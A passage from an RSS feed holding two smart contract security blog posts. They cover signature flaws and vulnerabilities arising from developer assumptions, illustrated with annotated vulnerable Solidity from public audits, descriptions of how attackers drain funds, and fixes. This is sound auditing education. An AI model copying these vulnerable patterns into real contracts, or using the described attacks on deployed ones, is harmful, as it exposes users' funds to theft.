<p>Consider a signature where a signer permitted a contract to spend some of their tokens - the amount of tokens to be spent must be part of the signature to prevent an arbitrary amount from being used! Consider this gas refund <a target="_blank" href="https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L429-L444">code</a> also from Biconomy's code4rena contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">encodeTransactionData</span>(<span class="hljs-params">
    Transaction <span class="hljs-keyword">memory</span> _tx,
    FeeRefund <span class="hljs-keyword">memory</span> refundInfo,
    <span class="hljs-keyword">uint256</span> _nonce
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span></span>) </span>{
    <span class="hljs-keyword">bytes32</span> safeTxHash <span class="hljs-operator">=</span>
        <span class="hljs-built_in">keccak256</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(
                ACCOUNT_TX_TYPEHASH,
                _tx.to,
                _tx.<span class="hljs-built_in">value</span>,
                <span class="hljs-built_in">keccak256</span>(_tx.data),
                _tx.operation,
                _tx.targetTxGas,
                refundInfo.baseGas,
                refundInfo.gasPrice,
                refundInfo.gasToken,
                refundInfo.refundReceiver,
                _nonce
            )
        );
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x19</span>), <span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x01</span>), domainSeparator(), safeTxHash);
}
</code></pre>
<p>This allows a user to sign a transaction that permits a gas refund to the transaction submitter. Yet when that refund is calculated, an additional parameter <em>tokenGasPriceFactor</em> is <a target="_blank" href="https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L288">used</a> to calculate the actual amount:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handlePaymentRevert</span>(<span class="hljs-params">
    <span class="hljs-keyword">uint256</span> gasUsed,
    <span class="hljs-keyword">uint256</span> baseGas,
    <span class="hljs-keyword">uint256</span> gasPrice,
    <span class="hljs-keyword">uint256</span> tokenGasPriceFactor,
    <span class="hljs-keyword">address</span> gasToken,
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> refundReceiver
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> payment</span>) </span>{
    <span class="hljs-comment">// ...</span>
    payment <span class="hljs-operator">=</span> (gasUsed <span class="hljs-operator">+</span> baseGas) <span class="hljs-operator">*</span> (gasPrice) <span class="hljs-operator">/</span> (tokenGasPriceFactor);
    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>As the <em>tokenGasPriceFactor</em> is not part of the user's signature parameters, the transaction submitter getting the gas refund can set <em>tokenGasPriceFactor</em> to a number large enough to <a target="_blank" href="https://code4rena.com/reports/2023-01-biconomy/#h-06-feerefundtokengaspricefactor-is-not-included-in-signed-transaction-data-allowing-the-submitter-to-steal-funds">drain the user's funds</a>, while still passing the contract's signature verification check, since this parameter isn't included in the signature. <a target="_blank" href="https://www.cyfrin.io/">Smart contract auditors</a> should carefully verify that all required parameters for a function also form part of the signature.</p>
<p>To prevent missing parameter signature attacks, users must <a target="_blank" href="https://www.codementor.io/@yosriady/signing-and-verifying-ethereum-signatures-vhe8ro3h6#signing-a-message-with-arguments">always sign their messages including the specific message parameters</a>. More examples: [<a target="_blank" href="https://github.com/Cyfrin/2023-08-sparkn/issues/306">1</a>]</p>
<h3 id="heading-no-expiration">No Expiration</h3>
<p>Signatures signed by users should always have an expiration or timestamp deadline, such that after that time the signature is no longer valid. If there is <a target="_blank" href="https://github.com/sherlock-audit/2022-10-nftport-judging/issues/46">no signature expiration</a>, a user by signing a message is effectively granting a "lifetime license". Consider this <a target="_blank" href="https://github.com/sherlock-audit/2022-10-nftport/blob/main/evm-minting-master/contracts/Factory.sol#L222">code</a> from NFTPort's sherlock audit which lacks an expiration:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">call</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> instance,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> signature
</span>)
    <span class="hljs-title"><span class="hljs-keyword">external</span></span>
    <span class="hljs-title"><span class="hljs-keyword">payable</span></span>
    <span class="hljs-title">operatorOnly</span>(<span class="hljs-params">instance</span>)
    <span class="hljs-title">signedOnly</span>(<span class="hljs-params"><span class="hljs-built_in">abi</span>.encodePacked(<span class="hljs-params"><span class="hljs-built_in">msg</span>.sender, instance, data</span>), signature</span>)
</span>{
    _call(instance, data, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
}
</code></pre>
<p>And the <a target="_blank" href="https://github.com/nftport/solidity-contracts/blob/master/contracts/Factory.sol#L513-L545">fixed version</a> which includes an expiration:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">call</span>(<span class="hljs-params">CallRequest <span class="hljs-keyword">calldata</span> request, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> signature</span>)
    <span class="hljs-title"><span class="hljs-keyword">external</span></span>
    <span class="hljs-title"><span class="hljs-keyword">payable</span></span>
    <span class="hljs-title">operatorOnly</span>(<span class="hljs-params">request.instance</span>)
    <span class="hljs-title">validRequestOnly</span>(<span class="hljs-params">request.metadata</span>)
    <span class="hljs-title">signedOnly</span>(<span class="hljs-params">_hash(<span class="hljs-params">request</span>), signature</span>)
</span>{
    _call(request.instance, request.callData, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_hash</span>(<span class="hljs-params">CallRequest <span class="hljs-keyword">calldata</span> request</span>)
    <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
    <span class="hljs-title"><span class="hljs-keyword">pure</span></span>
    <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)
</span>{
    <span class="hljs-keyword">return</span>
        <span class="hljs-built_in">keccak256</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(
                _CALL_REQUEST_TYPEHASH,
                request.instance,
                <span class="hljs-built_in">keccak256</span>(request.callData),
                _hash(request.metadata)
            )
        );
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_hash</span>(<span class="hljs-params">RequestMetadata <span class="hljs-keyword">calldata</span> metadata</span>)
    <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
    <span class="hljs-title"><span class="hljs-keyword">pure</span></span>
    <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)
</span>{
    <span class="hljs-keyword">return</span>
        <span class="hljs-built_in">keccak256</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(
                _REQUEST_METADATA_TYPEHASH,
                metadata.caller,
                metadata.expiration <span class="hljs-comment">// signature expiration</span>
            )
        );
}
</code></pre>
<p>To help prevent replay attacks, signature implementations should always include an expiration timestamp and aim to conform to <a target="_blank" href="https://eips.ethereum.org/EIPS/eip-712">EIP-712</a>. Some audited &amp; well-tested building blocks for implementing EIP-712 into your smart contracts are available in OpenZeppelin's utility <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/EIP712.sol">EIP712.sol</a>.</p>
<h3 id="heading-unchecked-ecrecover-return">Unchecked ecrecover() return</h3>
<p>Solidity's <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.19/units-and-global-variables.html#mathematical-and-cryptographic-functions">ecrecover()</a> function returns either the signing address or 0 if the signature is invalid; the <a target="_blank" href="https://code4rena.com/reports/2021-09-swivel#h-04-return-value-of-0-from-ecrecover-not-checked">return value of ecrecover() must be checked to detect invalid signatures</a>! Consider this code [<a target="_blank" href="https://github.com/Swivel-Finance/gost/blob/v2/test/swivel/Swivel.sol#L527-L535">1</a>, <a target="_blank" href="https://github.com/Swivel-Finance/gost/blob/v2/test/swivel/Sig.sol#L16-L23">2</a>] from Swivel's code4rena audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validOrderHash</span>(<span class="hljs-params">Hash.Order <span class="hljs-keyword">calldata</span> o, Sig.Components <span class="hljs-keyword">calldata</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
    <span class="hljs-keyword">bytes32</span> hash <span class="hljs-operator">=</span> Hash.order(o);
    <span class="hljs-comment">// ...</span>
    <span class="hljs-built_in">require</span>(o.maker <span class="hljs-operator">=</span><span class="hljs-operator">=</span> Sig.recover(Hash.message(domain, hash), c), <span class="hljs-string">'invalid signature'</span>);
    <span class="hljs-comment">// ...</span>
}

<span class="hljs-comment">// Sig.recover</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">recover</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> h, Components <span class="hljs-keyword">calldata</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) </span>{
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">ecrecover</span>(h, c.v, c.r, c.s);
}
</code></pre>
<p>validOrderHash() checks that <em>o.maker == Sig.recover()</em>, where Sig.recover() returns ecrecover(), hence the check is effectively <em>o.maker == ecrecover()</em>. This allows an attacker to simply pass 0 for <em>o.maker</em> and make this check pass for an invalid signature since ecrecover() returns 0 for an invalid signature! More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-10-astaria-judging/issues/69">1</a>]</p>
<h3 id="heading-signature-malleability">Signature Malleability</h3>
<p>The elliptic curve used in Ethereum for signatures is symmetrical, hence for every [v,r,s] there exists another [v,r,s] that returns the same valid result. Therefore <a target="_blank" href="https://www.youtube.com/watch?v=V3TJLDHZBFU">two valid signatures exist</a> which allows attackers to compute a valid signature without knowing the signer's private key. ecrecover() is vulnerable to signature malleability [<a target="_blank" href="https://swcregistry.io/docs/SWC-117">1</a>, <a target="_blank" href="https://swcregistry.io/docs/SWC-121">2</a>] so it can be dangerous to use it directly. Consider this <a target="_blank" href="https://github.com/code-423n4/2021-04-meebits/blob/2ec4ce8e98374be2048126485ad8ddacc2d36d2f/Beebots.sol#L556-L576">code</a> from Larva Lab's code4rena audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verify</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> signer, <span class="hljs-keyword">bytes32</span> hash, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">require</span>(signature.<span class="hljs-built_in">length</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">65</span>);

    <span class="hljs-keyword">bytes32</span> r;
    <span class="hljs-keyword">bytes32</span> s;
    <span class="hljs-keyword">uint8</span> v;

    <span class="hljs-keyword">assembly</span> {
        r <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signature, <span class="hljs-number">32</span>))
        s <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signature, <span class="hljs-number">64</span>))
        v <span class="hljs-operator">:=</span> <span class="hljs-built_in">byte</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signature, <span class="hljs-number">96</span>)))
    }

    <span class="hljs-keyword">if</span> (v <span class="hljs-operator">&lt;</span> <span class="hljs-number">27</span>) {
        v <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">27</span>;
    }

    <span class="hljs-built_in">require</span>(v <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">27</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span> v <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">28</span>);

    <span class="hljs-keyword">return</span> signer <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">ecrecover</span>(hash, v, r, s);
}
</code></pre>
<p>An attacker can compute another corresponding [v,r,s] that will make this check pass due to the symmetrical nature of the elliptic curve. The easiest way to prevent this issue is to use OpenZeppelin’s <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol">ECDSA.sol</a> library and reading the comments above ECDSA's tryRecover() function provides very useful information on correctly implementing signature checks to prevent signature malleability vulnerabilities. More examples: [<a target="_blank" href="https://github.com/ChainAccelOrg/cyfrin-audit-reports/blob/main/reports/2023-04-11-cyfrin-hyperliquid-dex-report.pdf">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-09-harpie-judging/blob/main/010-M/1-report.md">2</a>]</p>
<p>When using OpenZeppelin's ECDSA library, special care must be taken to <a target="_blank" href="https://github.com/sherlock-audit/2023-02-kairos-judging/issues/151">use version 4.7.3 or greater</a>, since previous versions contained a signature malleability bug.</p>
<p>Another great resource on preventing signature malleability vulnerabilities is this <a target="_blank" href="https://medium.com/immunefi/intro-to-cryptography-and-signatures-in-ethereum-2025b6a4a33d">excellent article</a> by ImmuneFi.</p>
]]></content:encoded></item><item><title><![CDATA[Exploiting Developer Assumptions]]></title><description><![CDATA[Input handling & state transitions in smart contracts are often overlooked; developers subconsciously make assumptions about the type of inputs their functions will receive and hence don't stringently handle inputs that don't conform to those assumpt...]]></description><link>https://dacian.me/exploiting-developer-assumptions</link><guid isPermaLink="true">https://dacian.me/exploiting-developer-assumptions</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Security]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Thu, 16 Mar 2023 09:38:45 GMT</pubDate><content:encoded><![CDATA[<p>Input handling &amp; state transitions in smart contracts are often overlooked; developers subconsciously make assumptions about the type of inputs their functions will receive and hence don't stringently handle inputs that don't conform to those assumptions.</p>
<p>Unexpected inputs &amp; unchecked state transitions can result in storage corruption and invariant invalidation, leading to catastrophic consequences. Smart contract auditors should <em>consciously</em> ask themselves: What <em>subconscious</em> assumptions has the developer made, leading to unhandled input vulns? Let's look at some common "gotchas" that exploit smart contracts through erroneous developer assumptions.</p>
<h3 id="heading-unchecked-2-step-ownership-transfer">Unchecked 2-Step Ownership Transfer</h3>
<p>This exploit comes from <a target="_blank" href="https://github.com/GeorgeHNTR/portfolio/blob/main/reports/solo/Metalabel-Security-Review.md">GeorgeHNTR's audit of Metalabel</a>. Here the 2nd step of the 2-step ownership transfer process never checks that the 1st step was started. If a node has an existing owner and no ownership transfer has been started, an attacker can directly invoke the 2nd step by calling NodeRegistry.completeNodeOwnerTransfer() to zero the owner, effectively bricking that node's ownership:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">/// @notice Complete the 2-step node transfer process. Can only be called by</span>
<span class="hljs-comment">/// by the new owner</span>
<span class="hljs-comment">// @audit never checks if the first step to transfer node ownership was actually started. </span>
<span class="hljs-comment">// Attack can set node ownership to 0</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">completeNodeOwnerTransfer</span>(<span class="hljs-params"><span class="hljs-keyword">uint64</span> id</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// @audit newOwner = 0 if first step was never started</span>
    <span class="hljs-keyword">uint64</span> newOwner <span class="hljs-operator">=</span> pendingNodeOwnerTransfers[id];

    <span class="hljs-comment">// @audit attacker can launch attack from address which is not registered</span>
    <span class="hljs-comment">// in the AccountRegistry and hence accountId = 0</span>
    <span class="hljs-keyword">uint64</span> accountId <span class="hljs-operator">=</span> accounts.resolveId(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-comment">// @audit attacker can make this check pass as 0 == 0</span>
    <span class="hljs-keyword">if</span> (newOwner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> accountId) <span class="hljs-keyword">revert</span> NotAuthorizedForNode();

    <span class="hljs-comment">// @audit attacker has now set node ownership to 0</span>
    nodes[id].owner <span class="hljs-operator">=</span> newOwner;
    <span class="hljs-keyword">delete</span> pendingNodeOwnerTransfers[id];
    <span class="hljs-keyword">emit</span> NodeOwnerSet(id, newOwner);
}
</code></pre>
<p>To prevent this attack, the 2nd step of the ownership transfer process must check that the 1st step has been initiated. Smart contract developers must carefully consider state transitions and implement checks within their contracts to ensure only valid state transitions are possible. More examples: [<a target="_blank" href="https://dacian.me/28k-bounty-admin-brick-forced-revert">1</a>]</p>
<h3 id="heading-unexpected-matching-inputs">Unexpected Matching Inputs</h3>
<p>For the next example we'll use a simplified version of an unexpected matching inputs vulnerability discovered during <a target="_blank" href="https://www.cyfrin.io/">Cyfrin</a>'s <a target="_blank" href="https://github.com/ChainAccelOrg/cyfrin-audit-reports/blob/main/reports/2023-03-13-beanstalk_wells_v0.1.pdf">Beanstalk Wells audit</a>. Consider a vault contract that maintains a storage list "_tokens" that have been deposited into the vault, and allows swaps between them through a function, swap(). Assume swap() uses an internal function _getTokenIndexes() to get the indexes of the tokens from its storage map of deposited tokens:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getTokenIndexes</span>(<span class="hljs-params">IERC20 t1, IERC20 t2</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span>
<span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> i, <span class="hljs-keyword">uint</span> j</span>) </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> k; k <span class="hljs-operator">&lt;</span> _tokens.<span class="hljs-built_in">length</span>; <span class="hljs-operator">+</span><span class="hljs-operator">+</span>k) {
        <span class="hljs-keyword">if</span> (t1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _tokens[k]) i <span class="hljs-operator">=</span> k;
        <span class="hljs-comment">// @audit will never execute if t1==t2, returns (i, 0)</span>
        <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (t2 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _tokens[k]) j <span class="hljs-operator">=</span> k;
    }
}
</code></pre>
<p>The subconscious assumption by the developer is that users will swap between <em>different</em> tokens, hence t1 != t2. By calling this function with t1 == t2, it will return (i, 0) since the <em>"else if"</em> statement will never execute. In this case Cyfrin was able to leverage this vulnerability to invalidate the contract's invariant and drain funds. The developer could prevent this by:</p>
<ul>
<li><p>adding input validation to revert if t1 == t2</p>
</li>
<li><p>adding a sanity check of the return values which reverts if i == 0 || j == 0</p>
</li>
</ul>
<p>More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-10-traderjoe/#h-01-transfering-funds-to-yourself-increases-your-balance">1</a>, <a target="_blank" href="https://code4rena.com/reports/2021-11-streaming/#h-02-tokens-can-be-stolen-when-deposittoken--rewardtoken">2</a>, <a target="_blank" href="https://code4rena.com/reports/2021-08-notional/#h-01-self-transfer-can-lead-to-unlimited-mint">3</a>]</p>
<h3 id="heading-unexpected-empty-inputs">Unexpected Empty Inputs</h3>
<p>Consider this simplified code from <a class="user-mention" href="https://hashnode.com/@AkshaySrivastav">Akshay Srivastav</a>'s <a target="_blank" href="https://twitter.com/akshaysrivastv/status/1648310441058115592">audit</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verifyAndSend</span>(<span class="hljs-params">SigData[] <span class="hljs-keyword">calldata</span> signatures</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> i; i<span class="hljs-operator">&lt;</span>signatures.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-comment">// verify every signature, revert if one fails to verify</span>
    }
    <span class="hljs-comment">// @audit attacker can pass empty signatures array so loop</span>
    <span class="hljs-comment">// never executes, allowing funds to be sent without</span>
    <span class="hljs-comment">// verifying the signatures</span>
    (<span class="hljs-keyword">bool</span> sent, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data) <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
    <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send Ether"</span>);
}
</code></pre>
<p>The developer has subconsciously assumed that verifyAndSend() will be passed an array of signatures, but an attacker can simply pass an empty array to bypass the loop &amp; signature verification. Developers should be careful to first validate received inputs; in the case of arrays, validate that array.length &gt; 0 before attempting to loop through it. Auditors should examine how control flow operates if they pass empty values to functions - do the functions continue to execute and can this be leveraged into an exploit?</p>
<p>Another example of this vulnerability comes from <a target="_blank" href="https://twitter.com/agfviggiano">Antonio Viggiano</a>'s audit of Tempus Finance Raft protocol. Here an attacker can <a target="_blank" href="https://github.com/tempusfinance/raft-contracts/issues/323">pass a different or zero value</a> for collateral to liquidate a Borrower who should not be subject to liquidation:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params">IERC20 collateralToken, <span class="hljs-keyword">address</span> position</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
    <span class="hljs-comment">// @audit collateralToken is never validated, could be empty object corresponding</span>
    <span class="hljs-comment">// to address(0) or a different address not linked to position's collateral</span>
    (<span class="hljs-keyword">uint256</span> price,) <span class="hljs-operator">=</span> priceFeeds[collateralToken].fetchPrice();
    <span class="hljs-comment">// @audit with empty/non-existent collateral, the value of the collateral will be 0</span>
    <span class="hljs-comment">// with another address, the value will be whatever that value is, not the value</span>
    <span class="hljs-comment">// of the Borrower's actual collateral. This allows Borrower to be Liquidated</span>
    <span class="hljs-comment">// before they are in default, since the value of Borrower's actual collateral is</span>
    <span class="hljs-comment">// never calculated.</span>
    <span class="hljs-keyword">uint256</span> entirePositionCollateral <span class="hljs-operator">=</span> raftCollateralTokens[collateralToken].token.balanceOf(position);
    <span class="hljs-keyword">uint256</span> entirePositionDebt <span class="hljs-operator">=</span> raftDebtToken.balanceOf(position);
    <span class="hljs-keyword">uint256</span> icr <span class="hljs-operator">=</span> MathUtils._computeCR(entirePositionCollateral, entirePositionDebt, price);
</code></pre>
<p>This is also an example of the Lending/Borrowing vulnerability class <a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks#heading-liquidation-before-default">Liquidation Before Default</a>. More examples: [<a target="_blank" href="https://code4rena.com/reports/2021-10-mochi/#h-08-anyone-can-extend-withdraw-wait-period-by-depositing-zero-collateral">1</a>, <a target="_blank" href="https://github.com/gogotheauditor/audits/blob/main/reports/Aelin-Sub7-Security-Review.pdf">2</a>, <a target="_blank" href="https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/empty-loop.sol">3</a>]</p>
<h3 id="heading-unchecked-return-values">Unchecked Return Values</h3>
<p>Consider this simplified example from Sherlock's TellerV2 contest (lending/borrowing):</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// AddressSet from https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable</span>
<span class="hljs-comment">// a loan must have at least one collateral</span>
<span class="hljs-comment">// &amp; only one amount per token is permitted</span>
<span class="hljs-keyword">struct</span> <span class="hljs-title">CollateralInfo</span> {
    EnumerableSetUpgradeable.AddressSet collateralAddresses;
    <span class="hljs-comment">// token =&gt; amount</span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) collateralInfo;
}

<span class="hljs-comment">// loanId -&gt; validated collateral info</span>
<span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">uint</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> CollateralInfo) <span class="hljs-keyword">internal</span> _loanCollaterals;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">commitCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> loanId, <span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    CollateralInfo <span class="hljs-keyword">storage</span> collateral <span class="hljs-operator">=</span> _loanCollaterals[loanId];

    <span class="hljs-comment">// @audit doesn't check return value of AddressSet.add()</span>
    <span class="hljs-comment">// returns false if not added because already exists in set</span>
    collateral.collateralAddresses.add(token);

    <span class="hljs-comment">// @audit after loan offer has been created &amp; validated, borrower can call</span>
    <span class="hljs-comment">// commitCollateral(loanId, token, 0) to overwrite collateral record </span>
    <span class="hljs-comment">// with 0 amount for the same token. Any lender who accepts the loan offer</span>
    <span class="hljs-comment">// won't be protected if the borrower defaults since there's no collateral</span>
    <span class="hljs-comment">// to lose</span>
    collateral.collateralInfo[token] <span class="hljs-operator">=</span> amount;
}
</code></pre>
<p>The return value of <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/structs/EnumerableSetUpgradeable.sol#L65-L75">AddressSet.add()</a> is never checked; this function will return false if "token" already exists in the set "collateralAddresses". Because the return value is never checked, add() will silently fail when attempting to add the same token, allowing a borrower to overwrite their collateral amount from a large amount initially (to get a loan) to a 0 amount afterward so they can default on the loan if it is accepted and not lose any collateral!</p>
<p>Another common example of <a target="_blank" href="https://code4rena.com/reports/2022-12-tessera/#h-01-groupbuy-does-not-check-return-value-of-call">unchecked return value</a> errors is when sending eth via call(), as seen in Code4rena's Tessera contest:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: contribution}(<span class="hljs-string">""</span>);
</code></pre>
<p>Here the return value of call() is never checked, so if the eth was sent to a smart contract whose receive() function reverted, this code would assume that the eth was successfully sent and continue executing with this assumption. Developers should always check the return values of function calls that can return false, and auditors should look out for code that doesn't check the return value of such functions. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/41">1</a>]</p>
]]></content:encoded></item></channel></rss>